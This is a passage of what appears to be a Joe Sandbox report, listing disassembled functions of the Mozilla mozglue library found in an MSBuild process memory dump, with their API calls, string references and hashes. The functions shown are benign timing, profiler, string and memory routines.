GetTickCount64.KERNEL32 ref: 6C5058CB
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C5058F3
__aulldiv.LIBCMT ref: 6C505945
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C5059B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C56F638,?,?,?,?), ref: 6C5059E9

Strings

MOZ_APP_RESTART, xrefs: 6C5056CC

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 301be4b8ea574e45976738b79a43f07976dbe7939f6e82f08976088bbe815304
Instruction ID: f7d617313befdf60fabe65c55b9c03750d1293998f0ee1038ec0f539db8325e4
Opcode Fuzzy Hash: 301be4b8ea574e45976738b79a43f07976dbe7939f6e82f08976088bbe815304
Instruction Fuzzy Hash: B1C17931A097409FDB05CF29C84066ABBF1FFCA754F568B1DE8C497660E770A885CB86

Function 6C52EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52EC8C

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52ECA1
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C52ECC5
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C52ED19
CloseHandle.KERNEL32(?), ref: 6C52ED28
free.MOZGLUE(00000000), ref: 6C52ED2F
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C52EC94

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: ca5bdc3b8b46214102d429c3427176cda1a4bb83ed47a544b1567b27367bd4d8
Instruction ID: 5b89c8d8ebf2c630ef96fea8eb4f1f259f3e286814775f28894033ebea79ea20
Opcode Fuzzy Hash: ca5bdc3b8b46214102d429c3427176cda1a4bb83ed47a544b1567b27367bd4d8
Instruction Fuzzy Hash: B521D875A00104DBDB009F6ADC04BA677B9EB8626EF114314FC1457BA1DB799C06CBE5

Function 6C545FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C546009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C546024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QNl,?), ref: 6C546046
OutputDebugStringA.KERNEL32(?,QNl,?), ref: 6C546061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C546069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C546073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C546082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C56148E), ref: 6C546091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QNl,00000000,?), ref: 6C5460BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5460C4

Strings

QNl, xrefs: 6C545FFC, 6C546042, 6C546045, 6C5460B3

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QNl
API String ID: 3835517998-2130531976
Opcode ID: 4225aa750f02e98461f85c51b125b1ae489c43bc4c111ce32017461f8d014586
Instruction ID: fb944801c525edde2b3857210f27d094df328ea930ddd60267f745670522f725
Opcode Fuzzy Hash: 4225aa750f02e98461f85c51b125b1ae489c43bc4c111ce32017461f8d014586
Instruction Fuzzy Hash: DC21B4B1A002089BDB106F29DC08AAA7BB8FF45314F018429F85A97250CB74A958CFD5

Function 6C528ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4EEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4EEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C52B392,?,?,00000001), ref: 6C5291F4

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Strings

name, xrefs: 6C528F16
stack-chart, xrefs: 6C5290B2
data, xrefs: 6C5290E8
timeline-ipc, xrefs: 6C529096
timeline-memory, xrefs: 6C529088
timeline-overview, xrefs: 6C52907A
timeline-fileio, xrefs: 6C5290A4
marker-chart, xrefs: 6C52905E
marker-table, xrefs: 6C52906C

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 67c8d3fce2f319db6d51cc4fba491c1ef00e9c540ae4a9da07848a2fa8b4f8cb
Instruction ID: db6c8d96ed8a9ac04fb858c41a37b1c94867442ff14a29ccfb47d523b5b0113e
Opcode Fuzzy Hash: 67c8d3fce2f319db6d51cc4fba491c1ef00e9c540ae4a9da07848a2fa8b4f8cb
Instruction Fuzzy Hash: 37B1F0B1A002099BDB04CF99CD91BEEBBF6BF84318F50442AD401ABF90D775A945CBE1

Function 6C50C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C50C5A3
WideCharToMultiByte.KERNEL32 ref: 6C50C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C50C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C50CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C50CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50CAA5

Strings

(null), xrefs: 6C50C596
0, xrefs: 6C50D30A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 26b7e0b733e42f56c350e50a8c1204e40bd4cc939f9aba28a190f80981576cf6
Instruction ID: 5e799c35f485635611b9757330ee7e10d9905871a66a6eb2731941bc08adec86
Opcode Fuzzy Hash: 26b7e0b733e42f56c350e50a8c1204e40bd4cc939f9aba28a190f80981576cf6
Instruction Fuzzy Hash: E1A19D307083429FDB11EF28C94875ABBE1BF8A758F05891DE889D7752D731E805CBA2

Function 6C4E48E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,6C52483A,?), ref: 6C4E4ACB
memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C52483A,?), ref: 6C4E4AE0
moz_xmalloc.MOZGLUE(?,?,6C52483A,?), ref: 6C4E4A82

Part of subcall function 6C4FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4FCAA2

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C52483A,?), ref: 6C4E4A97
moz_xmalloc.MOZGLUE(?,?,6C52483A,?), ref: 6C4E4A35

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C52483A,?), ref: 6C4E4A4A
moz_xmalloc.MOZGLUE(?,?,6C52483A,?), ref: 6C4E4AF4
moz_xmalloc.MOZGLUE(?,?,6C52483A,?), ref: 6C4E4B10
moz_xmalloc.MOZGLUE(?,?,6C52483A,?), ref: 6C4E4B2C

Strings

:HRl, xrefs: 6C4E48EB, 6C4E49FB

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID: :HRl
API String ID: 4251373892-215091460
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 769574eb9c662c4ef73723951231c55829e91359d4f1e3de4cad5a51eb52c667
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: F47159B19006069FC754CFA8C480EAAB7F5FF48358B10463ED55A9BB41E731F955CB80

Function 6C50C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C50C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C50C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C50C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C50C891

Strings

INF, xrefs: 6C50C794
NAN, xrefs: 6C50C7AD
nan, xrefs: 6C50C7A8
inf, xrefs: 6C50C78F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 49a49f67bc69868ebdc4c2100a7d634e7136dff2e92aad4031f6e776f75f357a
Instruction ID: 8690252436654ae9f634de05cbdfa55352d6d5a5824c88b8c67c76832471d538
Opcode Fuzzy Hash: 49a49f67bc69868ebdc4c2100a7d634e7136dff2e92aad4031f6e776f75f357a
Instruction Fuzzy Hash: 2D51A4706087408BDB00EF2DC88169AFBF0BF9A314F414A2DE9D5A7651E770E985CB57

Function 6C4E3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4E350E
__Init_thread_footer.LIBCMT ref: 6C4E3522
__aulldiv.LIBCMT ref: 6C4E3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C4E3592

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4E3508
kernel32.dll, xrefs: 6C4E34EA

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: efcad2a3086cdb64818c47b0150c59ada40908798e6785e8351a4712a0d30811
Instruction ID: f5a5e9266497d0caecc6b7180fcaee973992fb5c83c35551bde8bf34018f74dc
Opcode Fuzzy Hash: efcad2a3086cdb64818c47b0150c59ada40908798e6785e8351a4712a0d30811
Instruction Fuzzy Hash: 18316071F002059BDF05DBBACC48FBA77B5BB4A31AB120519E54193770EA70A905CB64

Function 6C4E4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C524843,?), ref: 6C4E45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C524843,?), ref: 6C4E468A
free.MOZGLUE(?,?,?,?,?,?,6C524843,?), ref: 6C4E46C9
free.MOZGLUE(?), ref: 6C4E46EF
free.MOZGLUE(?), ref: 6C4E4712
free.MOZGLUE(?), ref: 6C4E4735
free.MOZGLUE(?), ref: 6C4E4758
free.MOZGLUE(?), ref: 6C4E477B
free.MOZGLUE(?), ref: 6C4E479E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: d5a65ccf2059aa03f46175b8ecca025c7b34f00b76c431fde692798442a3509c
Instruction ID: 41ca49b4d1a63378928a5380ea574020d9d035338b4d9b4a6e0c60fd7473f872
Opcode Fuzzy Hash: d5a65ccf2059aa03f46175b8ecca025c7b34f00b76c431fde692798442a3509c
Instruction Fuzzy Hash: C6B10475E001108FDB18CFBCCC94F6D77A2BF493AAF1A0669E416DBB82D73499408B91

Function 6C54AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C54AC52
CreateFileMappingW.KERNEL32 ref: 6C54AC7D
GetSystemInfo.KERNEL32 ref: 6C54AC98
MapViewOfFile.KERNEL32 ref: 6C54ACB0
GetSystemInfo.KERNEL32 ref: 6C54ACCD
MapViewOfFile.KERNEL32 ref: 6C54AD05
UnmapViewOfFile.KERNEL32 ref: 6C54AD1C
CloseHandle.KERNEL32 ref: 6C54AD28
UnmapViewOfFile.KERNEL32 ref: 6C54AD37
CloseHandle.KERNEL32 ref: 6C54AD43
CloseHandle.KERNEL32 ref: 6C54AD67

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 7ad4e5cc64d837a6376cceb693526f3e135366315b11fd9fe6d46f0212d880ab
Instruction ID: 97a0454f7650288cc1437f173f6f8e185980f5792578750c72f2bd38f56b78d5
Opcode Fuzzy Hash: 7ad4e5cc64d837a6376cceb693526f3e135366315b11fd9fe6d46f0212d880ab
Instruction Fuzzy Hash: 753142B1A047048FDB00FF7DDA4826EBBF0BF85305F02892DE99597211EB749858CB86

Function 6C4F9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4F9675
__Init_thread_footer.LIBCMT ref: 6C4F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4F9707
__Init_thread_footer.LIBCMT ref: 6C4F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9773

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4F97B7
FreeLibrary.KERNEL32 ref: 6C4F97D0
FreeLibrary.KERNEL32 ref: 6C4F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4F9824

Strings

ntdll.dll, xrefs: 6C4F96E3
MapViewOfFileNuma2, xrefs: 6C4F97B1
NtMapViewOfSection, xrefs: 6C4F9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4F9670

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: bb6d556121bcdf99a43dd40e673e46a1dfc8116d67cad5e366a27abe5b64d912
Instruction ID: f4695b0972a9d1ee97dd20ee30073727a5d03c1192d119a0d0b1920bf2bc682f
Opcode Fuzzy Hash: bb6d556121bcdf99a43dd40e673e46a1dfc8116d67cad5e366a27abe5b64d912
Instruction Fuzzy Hash: D141B4B0B00205DBDF00DFAADC84FAAB7B4EB89315F064229ED1697B50D731A815CBA5

Function 6C530000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C530039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C530041
GetCurrentThreadId.KERNEL32 ref: 6C530075
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C530082
moz_xmalloc.MOZGLUE(00000048), ref: 6C530090
free.MOZGLUE(?), ref: 6C530104
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C53011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C53005B

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 754c8cb4bf9c4c30e61d72fbb1f9519e5131d78046ca22baba75fdfa7773ad35
Instruction ID: a4122bad082abe39fbf79432aeeda211b622eb2068211f5ec7e3cb2f106ad989
Opcode Fuzzy Hash: 754c8cb4bf9c4c30e61d72fbb1f9519e5131d78046ca22baba75fdfa7773ad35
Instruction Fuzzy Hash: A6417D71A00354DFCB10DF69CC44AAABBF1FB89314F41451AE95A83B60E731A805CB95

Function 6C4F7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4F7EA7
malloc.MOZGLUE(00000001), ref: 6C4F7EB3

Part of subcall function 6C4FCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4FCB49
Part of subcall function 6C4FCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4FCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4F7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4F7F19
malloc.MOZGLUE(?), ref: 6C4F7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4F7F4D

Strings

d, xrefs: 6C4F7F89

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 225f74f39b800c2a6591d3a5a984812ecb39a456f0bb4b2be76a577f01891410
Instruction ID: 5faa96ecf770d2fe22d106dc52812853f51978d3f6815343f0b22ffd523e8ea3
Opcode Fuzzy Hash: 225f74f39b800c2a6591d3a5a984812ecb39a456f0bb4b2be76a577f01891410
Instruction Fuzzy Hash: 20310772E0438897EB01DB29CC049FEB778EFD5208F455229DC4957712FB30A998C395

